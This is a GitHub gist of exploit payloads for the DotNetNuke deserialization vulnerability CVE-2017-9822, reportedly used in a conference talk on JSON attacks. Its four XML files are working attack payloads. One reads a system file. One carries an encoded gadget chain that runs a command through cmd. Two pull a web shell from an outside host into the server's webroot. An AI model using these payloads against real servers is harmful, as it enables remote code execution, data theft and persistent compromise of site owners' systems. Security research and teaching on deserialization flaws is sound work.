Skip to content

Instantly share code, notes, and snippets.

@pwntester

pwntester/ReadFile.xml

Created October 31, 2018 12:20
Show Gist options
  • Star 9 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save pwntester/72f76441901c91b25ee7922df5a8a9e4 to your computer and use it in GitHub Desktop.
Save pwntester/72f76441901c91b25ee7922df5a8a9e4 to your computer and use it in GitHub Desktop.
Download ZIP
DotNetNuke (CVE-2017-9822) Payloads
Raw
ReadFile.xml
<profile><item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:/windows/win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
Raw
RunCalc.xml
<profile><item key="foo" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd=" [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) " xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance) "><ExpandedElement/><ProjectedProperty0><MethodName>Deserialize</MethodName><MethodParameters><anyType xsi:type="xsd:string">/wEy3hgAAQAAAP////8BAAAAAAAAAAwCAAAAX1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24sIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAAAlU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5QU09iamVjdAEAAAAGQ2xpWG1sAQIAAAAGAwAAAKUXPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4NCiAgJiN4RDsNCiAgPE9iaiBSZWZJZD0iMCI+DQogICAgJiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPg0KICAgICAgJiN4RDsNCiAgICAgIDxUPk1pY3Jvc29mdC5NYW5hZ2VtZW50LkluZnJhc3RydWN0dXJlLkNpbUluc3RhbmNlI1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24vUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNSdW5zcGFjZUludm9rZTU8L1Q+JiN4RDsNCiAgICAgIDxUPk1pY3Jvc29mdC5NYW5hZ2VtZW50LkluZnJhc3RydWN0dXJlLkNpbUluc3RhbmNlPC9UPiYjeEQ7DQogICAgICA8VD5TeXN0ZW0uT2JqZWN0PC9UPiYjeEQ7DQogICAgPC9UTj4mI3hEOw0KICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgPE9iaiBSZWZJZD0iMSI+DQogICAgICAmI3hEOw0KICAgICAgPFROUmVmIFJlZklkPSIwIiAvPiYjeEQ7DQogICAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgICAgPFByb3BzPg0KICAgICAgICAmI3hEOw0KICAgICAgICA8TmlsIE49IlBTQ29tcHV0ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgIDxPYmogTj0idGVzdDEiIFJlZklkPSIyMCI+DQogICAgICAgICAgJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5XaW5kb3dzLk1hcmt1cC5YYW1sUmVhZGVyW10sIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzU8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5BcnJheTwvVD4mI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgICAgICAgIDwvVE4+JiN4RDsNCiAgICAgICAgICA8TFNUPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxTIE49Ikhhc2giPg0KICAgICAgICAgICAgICAmbHQ7UmVzb3VyY2VEaWN0aW9uYXJ5DQogICAgICAgICAgICAgIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iDQogICAgICAgICAgICAgIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIg0KICAgICAgICAgICAgICB4bWxuczpTeXN0ZW09ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIg0KICAgICAgICAgICAgICB4bWxuczpEaWFnPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0Ow0KICAgICAgICAgICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJMYXVuY2hDYWxjIiBPYmplY3RUeXBlPSJ7eDpUeXBlIERpYWc6UHJvY2Vzc30iIE1ldGhvZE5hbWU9IlN0YXJ0IiZndDsNCiAgICAgICAgICAgICAgJmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0Ow0KICAgICAgICAgICAgICAmbHQ7U3lzdGVtOlN0cmluZyZndDtjbWQmbHQ7L1N5c3RlbTpTdHJpbmcmZ3Q7DQogICAgICAgICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0Oy9jICJjYWxjIiZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgICAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAgICAgICAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXImZ3Q7DQogICAgICAgICAgICAgICZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KICAgICAgICAgICAgPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4NCiAgICAgICAgJiN4RDsNCiAgICAgICAgPE9iaiBOPSJfX0NsYXNzTWV0YWRhdGEiIFJlZklkPSIyIj4NCiAgICAgICAgICAmI3hEOw0KICAgICAgICAgIDxUTiBSZWZJZD0iMSI+DQogICAgICAgICAgICAmI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdDwvVD4mI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgICAgICAgIDwvVE4+JiN4RDsNCiAgICAgICAgICA8TFNUPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxPYmogUmVmSWQ9IjMiPg0KICAgICAgICAgICAgICAmI3hEOw0KICAgICAgICAgICAgICA8TVM+DQogICAgICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgICAgICA8UyBOPSJDbGFzc05hbWUiPlJ1bnNwYWNlSW52b2tlNTwvUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik5hbWVzcGFjZSI+U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbjwvUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxOaWwgTj0iU2VydmVyTmFtZSIgLz4mI3hEOw0KICAgICAgICAgICAgICAgIDxJMzIgTj0iSGFzaCI+NDYwOTI5MTkyPC9JMzI+JiN4RDsNCiAgICAgICAgICAgICAgICA8UyBOPSJNaVhtbCI+Jmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSImZ3Q7Jmx0O1BST1BFUlRZIE5BTUU9InRlc3QxIiBUWVBFPSJzdHJpbmciJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPg0KICAgICAgJiN4RDsNCiAgICAgIDxSZWYgTj0iX19DbGFzc01ldGFkYXRhIiBSZWZJZD0iMiIgLz4mI3hEOw0KICAgIDwvTVM+JiN4RDsNCiAgPC9PYmo+JiN4RDsNCjwvT2Jqcz4L</anyType></MethodParameters><ObjectInstance xsi:type="ObjectStateFormatter"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>
Raw
UploadFile1.xml
<profile><item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>PullFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType><anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
Raw
UploadFile2.xml
<profile><item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>CreateFileFromString</MethodName><MethodParameters><anyType xsi:type="xsd:string”>http://ctf.pwntester.com/shell.aspx</anyType><anyType xsi:type="xsd:string">C:\inetpub\wwwroot\DotNetNuke\shell.aspx</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
@pwntester
Copy link
Author

Payloads used during Friday the 13th: JSON Attacks presentation

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment